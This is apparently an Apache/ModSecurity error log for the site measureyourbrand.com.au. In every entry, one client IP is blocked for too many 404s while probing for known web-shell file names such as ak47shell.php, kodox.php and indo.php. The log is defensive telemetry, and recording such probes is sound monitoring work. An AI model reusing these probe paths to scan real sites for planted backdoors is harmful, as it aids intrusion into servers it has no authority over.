[Mon Apr 13 05:41:17.219833 2026] [:error] [pid 33942:tid 33986] [client 4.204.201.44:63705] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bsr.php"] [unique_id "adwRfRNHe8geO_lMeFab4QAAAEc"]
[Mon Apr 13 05:41:17.647348 2026] [:error] [pid 33942:tid 33983] [client 4.204.201.44:65029] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bsr.php"] [unique_id "adwRfRNHe8geO_lMeFab5AAAAEQ"]
[Mon Apr 13 05:41:23.618753 2026] [:error] [pid 33941:tid 33956] [client 4.204.201.44:63657] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kodox.php"] [unique_id "adwRg2_NKERAxgG-rYM4ogAAAAY"]
[Mon Apr 13 05:41:24.047639 2026] [:error] [pid 33941:tid 33974] [client 4.204.201.44:63690] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kodox.php"] [unique_id "adwRhG_NKERAxgG-rYM4pAAAABc"]
[Mon Apr 13 05:41:24.484923 2026] [:error] [pid 33941:tid 33955] [client 4.204.201.44:63671] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kodox.php"] [unique_id "adwRhG_NKERAxgG-rYM4qAAAAAU"]
[Mon Apr 13 05:41:24.926969 2026] [:error] [pid 33941:tid 33961] [client 4.204.201.44:62404] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kodox.php"] [unique_id "adwRhG_NKERAxgG-rYM4qQAAAAo"]
[Mon Apr 13 05:41:25.428166 2026] [:error] [pid 34048:tid 34058] [client 4.204.201.44:65051] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ak47shell.php"] [unique_id "adwRhfSiQ_PJjlY5Ehz2hwAAAMg"]
[Mon Apr 13 05:41:25.867700 2026] [:error] [pid 33943:tid 34017] [client 4.204.201.44:63716] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ak47shell.php"] [unique_id "adwRhayoXuZjocnxM5FqtAAAAIs"]
[Mon Apr 13 05:41:26.316367 2026] [:error] [pid 33941:tid 33953] [client 4.204.201.44:65031] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ak47shell.php"] [unique_id "adwRhm_NKERAxgG-rYM4rgAAAAM"]
[Mon Apr 13 05:41:26.743455 2026] [:error] [pid 11325:tid 11336] [client 4.204.201.44:61542] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ak47shell.php"] [unique_id "adwRhuCGj3EEJtCwa0ORLgAAAQk"]
[Mon Apr 13 05:41:27.178104 2026] [:error] [pid 11325:tid 11330] [client 4.204.201.44:65145] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "adwRh-CGj3EEJtCwa0ORMQAAAQM"]
[Mon Apr 13 05:41:27.604761 2026] [:error] [pid 11325:tid 11329] [client 4.204.201.44:61536] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "adwRh-CGj3EEJtCwa0ORNgAAAQI"]
[Mon Apr 13 05:41:28.066842 2026] [:error] [pid 11325:tid 11345] [client 4.204.201.44:61539] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "adwRiOCGj3EEJtCwa0OROQAAARI"]
[Mon Apr 13 05:41:28.509476 2026] [:error] [pid 33942:tid 33995] [client 4.204.201.44:64248] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "adwRiBNHe8geO_lMeFab6QAAAFA"]
[Mon Apr 13 05:41:28.932105 2026] [:error] [pid 33943:tid 34011] [client 4.204.201.44:64134] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log404.php"] [unique_id "adwRiKyoXuZjocnxM5FquwAAAIU"]
[Mon Apr 13 05:41:29.374942 2026] [:error] [pid 33941:tid 33964] [client 4.204.201.44:61481] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log404.php"] [unique_id "adwRiW_NKERAxgG-rYM4swAAAA0"]
[Mon Apr 13 05:41:29.809418 2026] [:error] [pid 33941:tid 33969] [client 4.204.201.44:60950] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log404.php"] [unique_id "adwRiW_NKERAxgG-rYM4tQAAABI"]
[Mon Apr 13 05:41:30.222216 2026] [:error] [pid 33943:tid 34023] [client 4.204.201.44:64130] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log404.php"] [unique_id "adwRiqyoXuZjocnxM5FqvAAAAJE"]
[Mon Apr 13 05:41:30.648725 2026] [:error] [pid 33942:tid 34003] [client 4.204.201.44:65133] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wh.php"] [unique_id "adwRihNHe8geO_lMeFab6wAAAFg"]
[Mon Apr 13 05:41:31.086544 2026] [:error] [pid 11325:tid 11340] [client 4.204.201.44:62446] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wh.php"] [unique_id "adwRi-CGj3EEJtCwa0ORUQAAAQ0"]
[Mon Apr 13 05:41:31.538338 2026] [:error] [pid 33942:tid 33992] [client 4.204.201.44:61459] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wh.php"] [unique_id "adwRixNHe8geO_lMeFab7AAAAE0"]
[Mon Apr 13 05:41:32.116862 2026] [:error] [pid 11325:tid 11344] [client 4.204.201.44:64215] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wh.php"] [unique_id "adwRjOCGj3EEJtCwa0ORVwAAARE"]
[Mon Apr 13 05:41:32.604260 2026] [:error] [pid 33942:tid 33997] [client 4.204.201.44:64135] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/luf.php"] [unique_id "adwRjBNHe8geO_lMeFab7QAAAFI"]
[Mon Apr 13 05:41:33.085088 2026] [:error] [pid 33941:tid 33959] [client 4.204.201.44:62359] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/luf.php"] [unique_id "adwRjW_NKERAxgG-rYM4uAAAAAg"]
[Mon Apr 13 05:41:33.610870 2026] [:error] [pid 33942:tid 33981] [client 4.204.201.44:64149] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/luf.php"] [unique_id "adwRjRNHe8geO_lMeFab7wAAAEI"]
[Mon Apr 13 05:41:34.062437 2026] [:error] [pid 11325:tid 11347] [client 4.204.201.44:63622] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/luf.php"] [unique_id "adwRjuCGj3EEJtCwa0ORXwAAARQ"]
[Mon Apr 13 05:41:34.561766 2026] [:error] [pid 11325:tid 11343] [client 4.204.201.44:60125] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs2.php"] [unique_id "adwRjuCGj3EEJtCwa0ORZAAAARA"]
[Mon Apr 13 05:41:34.994797 2026] [:error] [pid 11325:tid 11332] [client 4.204.201.44:65027] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs2.php"] [unique_id "adwRjuCGj3EEJtCwa0ORaAAAAQU"]
[Mon Apr 13 05:41:35.430043 2026] [:error] [pid 33943:tid 34011] [client 4.204.201.44:62371] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs2.php"] [unique_id "adwRj6yoXuZjocnxM5FqxQAAAIU"]
[Mon Apr 13 05:41:35.933070 2026] [:error] [pid 33943:tid 34008] [client 4.204.201.44:63619] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs2.php"] [unique_id "adwRj6yoXuZjocnxM5FqxwAAAII"]
[Mon Apr 13 05:41:36.434049 2026] [:error] [pid 11325:tid 11332] [client 4.204.201.44:62409] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wf.php"] [unique_id "adwRkOCGj3EEJtCwa0ORdAAAAQU"]
[Mon Apr 13 05:41:37.200792 2026] [:error] [pid 34048:tid 34061] [client 4.204.201.44:62357] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wf.php"] [unique_id "adwRkfSiQ_PJjlY5Ehz2jwAAAMs"]
[Mon Apr 13 05:41:37.633169 2026] [:error] [pid 33942:tid 34000] [client 4.204.201.44:63644] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wf.php"] [unique_id "adwRkRNHe8geO_lMeFab9AAAAFU"]
[Mon Apr 13 05:41:38.049846 2026] [:error] [pid 33943:tid 34010] [client 4.204.201.44:65121] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wf.php"] [unique_id "adwRkqyoXuZjocnxM5FqyQAAAIQ"]
[Mon Apr 13 05:41:38.493070 2026] [:error] [pid 33942:tid 34001] [client 4.204.201.44:65102] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vcard.php"] [unique_id "adwRkhNHe8geO_lMeFab9QAAAFY"]
[Mon Apr 13 05:41:38.902474 2026] [:error] [pid 34048:tid 34064] [client 4.204.201.44:63648] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vcard.php"] [unique_id "adwRkvSiQ_PJjlY5Ehz2kAAAAM4"]
[Mon Apr 13 05:41:39.322428 2026] [:error] [pid 33942:tid 33995] [client 4.204.201.44:65044] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vcard.php"] [unique_id "adwRkxNHe8geO_lMeFab9gAAAFA"]
[Mon Apr 13 05:41:39.791971 2026] [:error] [pid 34048:tid 34073] [client 4.204.201.44:63630] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vcard.php"] [unique_id "adwRk_SiQ_PJjlY5Ehz2lAAAANc"]
[Mon Apr 13 05:41:40.244805 2026] [:error] [pid 33942:tid 33980] [client 4.204.201.44:63725] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/file2.php"] [unique_id "adwRlBNHe8geO_lMeFab-QAAAEE"]
[Mon Apr 13 05:41:40.722873 2026] [:error] [pid 34048:tid 34055] [client 4.204.201.44:65025] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/file2.php"] [unique_id "adwRlPSiQ_PJjlY5Ehz2mAAAAMU"]
[Mon Apr 13 05:41:41.172886 2026] [:error] [pid 34048:tid 34071] [client 4.204.201.44:62360] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/file2.php"] [unique_id "adwRlfSiQ_PJjlY5Ehz2mwAAANU"]
[Mon Apr 13 05:41:41.587156 2026] [:error] [pid 11325:tid 11344] [client 4.204.201.44:64174] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/file2.php"] [unique_id "adwRleCGj3EEJtCwa0ORiQAAARE"]
[Mon Apr 13 05:41:42.013142 2026] [:error] [pid 11325:tid 11328] [client 4.204.201.44:58956] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddgg.php"] [unique_id "adwRluCGj3EEJtCwa0ORjgAAAQE"]
[Mon Apr 13 05:41:42.478968 2026] [:error] [pid 11325:tid 11331] [client 4.204.201.44:59720] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddgg.php"] [unique_id "adwRluCGj3EEJtCwa0ORkQAAAQQ"]
[Mon Apr 13 05:41:42.897150 2026] [:error] [pid 33943:tid 34023] [client 4.204.201.44:61511] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddgg.php"] [unique_id "adwRlqyoXuZjocnxM5Fq0QAAAJE"]
[Mon Apr 13 05:41:43.326574 2026] [:error] [pid 11325:tid 11344] [client 4.204.201.44:60051] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddgg.php"] [unique_id "adwRl-CGj3EEJtCwa0ORlAAAARE"]
[Mon Apr 13 05:41:43.854160 2026] [:error] [pid 11325:tid 11348] [client 4.204.201.44:60155] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rc.php7"] [unique_id "adwRl-CGj3EEJtCwa0ORlwAAARU"]
[Mon Apr 13 05:41:44.385631 2026] [:error] [pid 33942:tid 33997] [client 4.204.201.44:65126] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rc.php7"] [unique_id "adwRmBNHe8geO_lMeFacEAAAAFI"]
[Mon Apr 13 05:41:44.924096 2026] [:error] [pid 33942:tid 33984] [client 4.204.201.44:62410] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rc.php7"] [unique_id "adwRmBNHe8geO_lMeFacFQAAAEU"]
[Mon Apr 13 05:41:45.369022 2026] [:error] [pid 34048:tid 34064] [client 4.204.201.44:63655] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rc.php7"] [unique_id "adwRmfSiQ_PJjlY5Ehz2ngAAAM4"]
[Mon Apr 13 05:41:45.827742 2026] [:error] [pid 33942:tid 33997] [client 4.204.201.44:65135] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "adwRmRNHe8geO_lMeFacHAAAAFI"]
[Mon Apr 13 05:41:46.430434 2026] [:error] [pid 33942:tid 33990] [client 4.204.201.44:65099] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "adwRmhNHe8geO_lMeFacJAAAAEs"]
[Mon Apr 13 05:41:46.846825 2026] [:error] [pid 33943:tid 34011] [client 4.204.201.44:63727] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "adwRmqyoXuZjocnxM5Fq2AAAAIU"]
[Mon Apr 13 05:41:47.273360 2026] [:error] [pid 11325:tid 11337] [client 4.204.201.44:62361] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "adwRm-CGj3EEJtCwa0ORnQAAAQo"]
[Mon Apr 13 05:41:47.693862 2026] [:error] [pid 34048:tid 34059] [client 4.204.201.44:65137] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu.php"] [unique_id "adwRm_SiQ_PJjlY5Ehz2ogAAAMk"]
[Mon Apr 13 05:41:48.433780 2026] [:error] [pid 11325:tid 11329] [client 4.204.201.44:62366] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu.php"] [unique_id "adwRnOCGj3EEJtCwa0ORoQAAAQI"]
